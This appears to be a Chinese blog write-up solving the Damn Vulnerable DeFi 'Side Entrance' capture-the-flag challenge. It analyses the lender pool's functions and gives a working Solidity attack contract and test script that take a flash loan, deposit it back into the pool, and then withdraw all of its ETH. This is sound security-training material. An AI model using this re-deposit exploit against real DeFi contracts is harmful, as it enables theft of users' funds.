抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.

It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

我们的目标就是,凭借手里的1 ether 将 pool的钱全部取出来。

题目链接

2. analysing

观察合约可知,里面有三个函数,分别是 deposit(),withdraw(),falshLoan()

我的第一反应是使用自毁函数,但是,分析才发现,自毁操作只会毁掉自己所在合约,不会对其他合约产生影响。

所以只能将目光看到,取款操作。

withdraw()

1
2
3
4
5
6
7
8
function withdraw() external {
uint256 amount = balances[msg.sender];

delete balances[msg.sender];
emit Withdraw(msg.sender, amount);

SafeTransferLib.safeTransferETH(msg.sender, amount);
}

分析不难看出,我们只能取 mapping balance中所记录的金额大小。那我们看到存款操作。

deposit():

1
2
3
4
5
6
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}

emmmmm,分析可知,只能存多少记录多少,看了看自己手中的 1 ether………还是继续往下看吧。

falshLoan()

1
2
3
4
5
6
7
8
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

if (address(this).balance < balanceBefore)
revert RepayFailed();
}

嗯哼?看起来很简单,先给msg.sender转 amount数目的钱,再执行 execute函数。

又因为,execute函数定义在接口中,所以我们可以自定义该函数,由知道该操作是先给我们钱,再让我们去执行 execute,那就很简单了,我们可以那这 amount数目的钱拿去存,存在该合约中,到时候 一定会满足address(this).balance < balanceBefore该条件,同时也可以在 msg.sender 的名义下存款,当然 msg.sender 就可以从 借贷池取款了,属于是空手套白狼了。

注意:

本题也没那么简单,想到了思路实现起来还是有点细节的。比如我们可以利用接口的知识,自定义一个接口,那么此时 IFlashLoanEtherReceiver(msg.sender).execute{value: amount}()中的 msg.sender一定得是,自定义 execute函数的合约地址(我的水平有限,不能马上理清层层调用的 msg.sender 是谁)。

我的理解是:外部账户(player)在实现了execte函数的合约(SideEntranceHack)中,通过pool调用pool中的 falshLoan函数,此时对于SideEntranceHack合约来说msg.sender是外部账户,对于操作pool来说,pool的msg.sender就是address(SideEntranceHack)。

所以,我们不管怎么弄,都不能以 player 为 msg.sender 来调用 withdraw 函数。

3. solving

先写攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./SideEntranceLenderPool.sol";

contract SideEntranceHack {

SideEntranceLenderPool pool;
address payable owner;

constructor(address _addr) {
owner = payable(msg.sender);
pool = SideEntranceLenderPool(_addr);
}

function execute() external payable{
pool.deposit{value: 1000 ether}();
}

function attack(uint amount) public {
pool.flashLoan(amount);
pool.withdraw();

}

receive () external payable {
owner.transfer(address(this).balance);
}
}

攻击思路,先利用 借贷池借给我的 1000 ethers,以 attacker 的名义存钱,再以 attacker 的名义取钱,最后将钱转发至 player的账户。

js题解

1
2
3
4
5
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const attacter = await (await ethers.getContractFactory('SideEntranceHack', player)).deploy(pool.address);
await attacter.attack(ETHER_IN_POOL);
});

image-20230711003914302

解题成功

评论



政策 · 统计 | 本站使用 Volantis 主题设计